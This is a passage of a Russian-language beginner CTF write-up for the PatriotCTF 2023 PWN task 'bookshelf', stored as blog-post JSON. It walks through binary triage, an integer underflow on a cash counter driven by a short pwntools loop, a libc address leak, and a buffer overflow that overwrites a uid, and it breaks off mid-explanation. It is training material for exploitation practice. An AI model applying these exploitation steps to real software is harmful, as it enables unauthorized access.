{"id":356562,"date":"2024-05-20T23:32:19","date_gmt":"2024-05-20T23:32:19","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=356562"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-05-20T23:32:19","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=356562","title":{"rendered":"\u042d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. PWN. bookshelf PatriotCTF 2023<\/span>"},"content":{"rendered":"
<\/div>\n
\n
\n
\n
\n
<\/figure>\n

\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b PatriotCTF 2023. \u0422\u0430\u0441\u043a\u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. \u041d\u0430 \u043d\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445:<\/p>\n

    \n
  1. \n

    PWN<\/p>\n<\/li>\n

  2. \n

    Reverse<\/p>\n<\/li>\n

  3. \n

    Forensics<\/p>\n<\/li>\n

  4. \n

    Crypto<\/p>\n<\/li>\n

  5. \n

    Web<\/p>\n<\/li>\n

  6. \n

    Stego<\/p>\n<\/li>\n

  7. \n

    OSINT<\/p>\n<\/li>\n<\/ol>\n

    \u0417\u0430\u0446\u0435\u043f\u0438\u043b \u043c\u0435\u043d\u044f \u0442\u0430\u0441\u043a \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0443 PWN. \u0427\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0437\u043d\u0430\u043d\u0438\u044f \u0432:<\/p>\n

      \n
    1. \n

      \u0420\u0435\u0432\u0435\u0440\u0441\u0435<\/p>\n<\/li>\n

    2. \n

      ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445<\/p>\n<\/li>\n

    3. \n

      \u0411\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f\u0445 \u0438\u043d\u0442\u043e\u0432<\/p>\n<\/li>\n

    4. \n

      \u0417\u043d\u0430\u0442\u044c \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0444\u0435\u0440\u0430<\/p>\n<\/li>\n<\/ol>\n

      \u042d\u0442\u043e \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u0442\u0430\u0441\u043a\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c PWN-\u0435\u0440.<\/p>\n

      \n

      \u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440: \u0412\u0441\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435, \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043d\u0435 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u044e\u0442 \u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044e \u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043b\u0438\u0448\u044c \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0434\u043b\u044f \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439<\/p>\n<\/blockquote>\n

      <\/figure>\n

      \u0418\u0437\u0443\u0447\u0430\u0435\u043c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/h4>\n

      \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0443 \u043c\u0435\u043d\u044f, \u043d\u0430\u0447\u0438\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n

        \n
      1. \n

        file<\/code><\/p>\n<\/li>\n

      2. \n

        strings<\/code><\/p>\n<\/li>\n

      3. \n

        checksec<\/code><\/p>\n<\/li>\n

      4. \n

        xxd binary | grep \"UPX\"<\/code><\/p>\n<\/li>\n

      5. \n

        seccomp-tools<\/code><\/p>\n<\/li>\n<\/ol>\n

        \u0412\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u0442\u043e \u043d\u0435 \u0431\u0443\u0434\u0443, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 J0llyTr0LLz<\/strong>.<\/p>\n

        \u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u043e\u043a\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n

        <\/figure>\n

        \u0413\u043e\u0440\u044f\u0447\u0435\u0439 \u043a\u043b\u0430\u0432\u0438\u0448\u0435\u0439 Ctrl+O<\/code> \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0444\u0430\u0439\u043b \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442<\/p>\n

        <\/figure>\n

        \u041f\u043e readelf<\/code> \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u0432\u0438\u0434\u043d\u043e. \u041f\u0440\u043e\u0441\u0442\u043e \u044d\u043b\u044c\u0444\u0430\u0440\u044c 64 \u0440\u0430\u0437\u0440\u044f\u0434\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442 little-end.<\/p>\n

        \u0412 file<\/code> \u0442\u043e\u0436\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u0443\u0434\u0438\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e<\/p>\n

        <\/figure>\n

        \u041d\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0438, \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0438 \u0431\u0438\u043d\u0430\u0440\u044c \u043d\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d UPX<\/p>\n

        <\/figure>\n

        \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0435\u0441\u0442\u044c \u043b\u0438 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u043f\u043e \u0442\u0438\u043f\u0443 pop rax; ret<\/code> \u0438\u043b\u0438 pop rsi; ret<\/code>. \u0412\u0434\u0440\u0443\u0433 \u043f\u0440\u0438\u0433\u043e\u0434\u044f\u0442\u0441\u044f. \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438…<\/p>\n

        <\/figure>\n

        \u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u043a\u043d\u0435\u043c \u0441\u0442\u043e\u043a\u0438 \u043d\u0430\u0436\u0430\u0432 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e Ctrl+S<\/code>.<\/p>\n

        <\/figure>\n

        \u041f\u0440\u043e\u0432\u0435\u0440\u044e, \u0435\u0441\u0442\u044c \u043b\u0438 seccomp<\/code>. \u041e\u043d\u0438, \u043e\u0431\u044b\u0447\u043d\u043e, \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u044e\u0442\u0441\u044f \u0432 \u0441\u0442\u0440\u043e\u043a\u0430\u0445<\/p>\n

        <\/figure>\n

        \u041d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438. \u041f\u043e\u0439\u0434\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n

        \u0418\u0433\u0440\u0430\u0435\u043c \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c<\/h4>\n

        \u0412 \u0433\u043b\u0430\u0432\u043d\u043e\u043c \u043e\u043a\u043d\u0435 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u043d\u044e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e:<\/p>\n

          \n
        1. \n

          \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n

        2. \n

          \u041a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443<\/p>\n<\/li>\n

        3. \n

          \u041d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u043a\u043d\u0438\u0433\u0443, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u043e\u043c<\/p>\n<\/li>\n

        4. \n

          \u0412\u044b\u0439\u0442\u0438<\/p>\n<\/li>\n<\/ol>\n

          \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043a\u0443\u043f\u0438\u0442\u044c \u043a\u043d\u0438\u0433\u0443:<\/p>\n

          <\/figure>\n

          \u041b\u0430\u0434\u043d\u043e. \u041a\u0443\u043f\u0438\u043b\u0438 \u043a\u043d\u0438\u0433\u0443 \u0438, \u043d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c 75 \u0431\u0430\u043a\u0441\u043e\u0432 \u0438 \u0442\u0440\u0430\u0442\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u043c. \u0422\u0430\u043a \u0436\u0435 \u043d\u0430\u0441 \u043f\u0440\u043e\u0441\u044f\u0442 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u044d\u0442\u043e\u0442 \u043f\u0443\u043d\u043a\u0442.<\/p>\n

          \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443. \u0412\u0438\u0434\u0438\u043c\u043e, \u043f\u0435\u0440\u0435\u0434 \u043d\u0430\u043c\u0438 \u0432\u044b\u0431\u043e\u0440 \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043d\u0438\u0433\u0443 \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443<\/p>\n

          <\/figure>\n

          \u041e\u0442\u0432\u0435\u0442\u0438\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0435\u0442( N ) \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u043a\u0430\u043a\u0443\u044e-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0442\u0440\u043e\u0447\u043a\u0443<\/p>\n

          <\/figure>\n

          \u041f\u043e\u0441\u043b\u0435 \u0438\u0433\u0440\u044b \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u043f\u0443\u043d\u043a\u0442 \u043d\u043e\u043c\u0435\u0440 3 — Write a special book (ADMINS ONLY) (0)<\/code>. \u0422\u0443\u0434\u0430 \u0438 \u0431\u0443\u0434\u0435\u043c \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043f\u0430\u0441\u0442\u044c.<\/p>\n

          \u0420\u0435\u0432\u0435\u0440\u0441<\/h4>\n

          \u0420\u0435\u0432\u0435\u0440\u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0431\u0443\u0434\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0432 IDA Pro. \u041d\u0430\u0447\u043d\u0443 \u0440\u0435\u0432\u0435\u0440\u0441 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043a\u0443\u043f\u0430\u0435\u043c \u043a\u043d\u0438\u0433\u0438. \u0412\u0441\u0435 \u0431\u043b\u043e\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438. \u0425\u0432\u0430\u0442\u0430\u0435\u0442 \u0434\u0435\u043d\u0435\u0433 — \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0443\u043c\u043c\u0430, \u0438\u043d\u0430\u0447\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 You don't have enough cash!<\/code>.<\/p>\n

          <\/figure>\n

          \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e cash<\/code>.<\/p>\n

          <\/figure>\n

          \u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u044d\u0442\u043e int<\/code>. \u041c\u043e\u0436\u0435\u0442 \u044d\u0442\u043e unsigned int<\/code>? \u041f\u0440\u043e\u0441\u0442\u043e, \u0435\u0441\u043b\u0438 \u0440\u0430\u0441\u0441\u0443\u0436\u0434\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435: \u043a\u043e\u0433\u0434\u0430 cash \u043c\u0435\u043d\u044c\u0448\u0435 0, \u0432 \u043d\u0435\u043c \u0431\u0443\u0434\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435<\/p>\n

          \u0435\u0441\u043b\u0438 cash < 0, \u0442\u043e cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295 <\/code><\/p>\n

          \u0412\u043e\u043f\u0440\u043e\u0441 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0440\u0443\u0433\u043e\u0439. \u041a\u0430\u043a \u0434\u043e\u0439\u0442\u0438 \u0434\u043e \u044d\u0442\u043e\u0433\u043e? \u041d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043c\u043d\u044e, \u0431\u044b\u043b\u0430 \u0440\u0435\u0447\u044c \u043e \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0440\u0435\u0432\u0435\u0440\u0441\u0438\u043c \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430<\/p>\n

          <\/figure>\n

          \u0418 \u0442\u0443\u0442 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 cash. \u0412\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f 10 \u043f\u043e\u0438\u043d\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u043e\u0436\u0435\u0440\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0442\u0435\u043f\u0435\u0440\u044c \u0442\u0435\u043e\u0440\u0438\u044e \u0441 \u0431\u0435\u0437\u0437\u043d\u0430\u043a\u043e\u0432\u044b\u043c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u043c. \u0421\u0440\u0430\u0437\u0443 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e<\/p>\n

          for i in range(8):
          io.recvuntil(b'4) Check out')
          io.sendline(b'2')
          io.sendline(b'2')
          io.sendline(b'y')<\/code><\/p>\n

          \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f<\/p>\n

          <\/figure>\n

          \u041d\u0430\u0441\u0442\u0430\u043b \u043c\u043e\u043c\u0435\u043d\u0442, \u043a\u043e\u0433\u0434\u0430 \u0443\u0448\u043b\u0438 \u0432 \u043c\u0438\u043d\u0443\u0441. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0431\u0430\u043b\u0430\u043d\u0441<\/p>\n

          <\/figure>\n

          \u0422\u0435\u043e\u0440\u0438\u044f \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430! \u042d\u0442\u043e \u0431\u044b\u043b\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u0441 \u0442\u0438\u043f\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 — unsigned int<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u0443\u043f\u0438\u043c \u043a\u043d\u0438\u0436\u043a\u0443<\/p>\n

          <\/figure>\n

          \u041a\u0430\u043a \u0438 \u043e\u0436\u0438\u0434\u0430\u043b\u043e\u0441\u044c — \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0442\u0435\u0447\u043a\u0443 puts()<\/code> \u0438\u0437 libc. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0437\u0443 libc, \u0438 \u0434\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u0443\u0433\u043e\u0434\u043d\u043e.<\/p>\n

          \u0411\u0430\u0437\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n

          LEAK_FUNC_ADDR = LIBC_BASE + OFFSET<\/code><\/p>\n

          \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0449\u0435\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 puts()<\/code> \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0438 \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u043c \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u0442\u0435\u0447\u043a\u0438.<\/p>\n

          \u0421 \u044d\u0442\u0438\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d \u043f\u0430\u043d\u0435\u043b\u0435. \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442. \u0421\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u0432 uid<\/code><\/p>\n

          <\/figure>\n

          \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0440\u0430\u0432\u0435\u043d 0<\/p>\n

          <\/figure>\n

          \u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0442\u0441\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0431\u0443\u0444\u0444\u0435\u0440, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u043e\u0440 \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u0435\u043d\u044e \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0435\u0433\u043e — uid<\/code>. \u041f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:<\/p>\n

            \n
          1. \n

            buf<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 43 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n

          2. \n

            choose<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1 \u0431\u0430\u0439\u0442<\/p>\n<\/li>\n

          3. \n

            uid<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 4 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<\/ol>\n

            \u0417\u043d\u0430\u0447\u0438\u0442 \u043d\u0443\u0436\u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 46 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.<\/p>\n

            <\/figure>\n

            \u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c uid<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440?<\/p>\n

            \u041f\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u0442\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u0432 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n

            <\/figure>\n
            <\/figure>\n

            \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 writeBook()<\/code> — \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0444\u0435\u0440.<\/p>\n

            \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u043c\u0443 \u043c\u0430\u0441\u0441\u0438\u0432\u0443<\/p>\n

            <\/figure>\n

            \u042d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432, [rbp+s]<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435. \u0412 \u043d\u0435\u0433\u043e \u0438\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u043d\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n

            <\/figure>\n

            \u0412\u0432\u043e\u0434 [rbp+src]<\/code> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d 40 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438<\/p>\n

            <\/figure>\n

            \u0418 \u043a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c? \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e\u0441\u0442. \u041d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u043f\u0440\u043e\u043b\u0438\u0441\u0442\u0430\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435<\/p>\n

            <\/figure>\n

            \u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435. \u0415\u0441\u043b\u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u043c y<\/code>, \u0442\u043e \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 [rbp+s]<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043b\u0438\u043d\u043e\u0439 6 — (AB): <\/code><\/p>\n

